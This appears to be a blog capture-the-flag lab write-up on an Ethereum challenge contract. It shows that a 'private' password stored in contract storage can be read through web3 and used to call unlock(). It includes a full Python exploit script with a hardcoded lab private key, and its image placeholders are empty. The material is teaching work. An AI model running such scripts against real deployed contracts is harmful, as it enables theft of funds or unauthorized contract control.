A Practical Combat of Unsafe Random Numbers for the Security of a Certain 60 Blockchain

Blockchain security


Unsafe random number practice 1

Purpose

Learn to use the web3 module of python3
Learn to analyze and exploit Ethereum’s unsafe random number vulnerabilities

lab environment

Ubuntu18.04 operating machine

Experimental tools

python3

Experimental principle

Since all Ethereum nodes need to calculate the same result to reach a consensus when verifying transactions, the EVM itself cannot implement the function of true random numbers. As for pseudo-random numbers, their entropy source can only be deterministic values.
The contract uses private variables unknown to the outside world to participate in random number generation. Although the variable is private and cannot be accessed through another contract, the variable is still public after being stored in storage. You can use a blockchain browser (such as etherscan) or geth to observe storage changes, or calculate the location of variable storage and use the Web3 API to obtain the private variable value, and then calculate the random number.

Experiment content

Find an insecure random number vulnerability and exploit it
Use the web3 module of python3 to remotely exploit the vulnerability and obtain the flag
The experimental address is nc ip 10003

Attack process

Get the contract address and contract source code
Connect nc ip 10003 to the question, enter 1, and get the game account and token for deploying the contract
Insert image description here

Open http://ip, enter the game account assigned above, and click Request to obtain eth
Insert image description here

nc ip 10003 connect to the question, enter 2 to get the address of the deployment contract and new token
Insert image description here

nc ip 10003 connect to the question, enter 4 to get the contract source code, or find the contract source code in the question attachment
Insert image description here

Analyze contract source code vulnerabilities

The question requires setting the flag to true and analyzing the contract code. The contract balance needs to be 0.
Insert image description here

The main vulnerability is that password is a storage variable, which is stored in the storage space of the contract. Although the variable type is set to private, everything in the blockchain is public. You can obtain the value of the private variable password through the Web3 API, and then call the unlock function to unlock it. flag.

EXP utilization

The password variable is located at slot 1 and its value can be read.

Insert image description here

You can see that password=0x0000000000000000000000000000000000000000004618a7a7ee551f3d9f8f, so directly call unlock(0x0000000000000000000000000000000000000000000 4618a7a7ee551f3d9f8f) can

Write exp to automate this process. Replace the address of contract_address below with the address of your own title contract.

from web3 import Web3, HTTPProvider
from solcx import compile_source
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x2b5Ed99637BEDAaB6b3B2018DAF32A841D98cb31"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
    
    
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

password = w3.eth.get_storage_at(contract_address, 1).hex()
print(password)

data = Web3.keccak(text='unlock(uint256)').hex()[:10]
data += password[2:].rjust(64,'0')

txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)

Insert image description here

Run exp

Insert image description here

nc ip 10003 connect to the question, enter 3, enter the previous new token, and get the flag
Insert image description here

Guess you like

Origin blog.csdn.net/weixin_51387754/article/details/134467465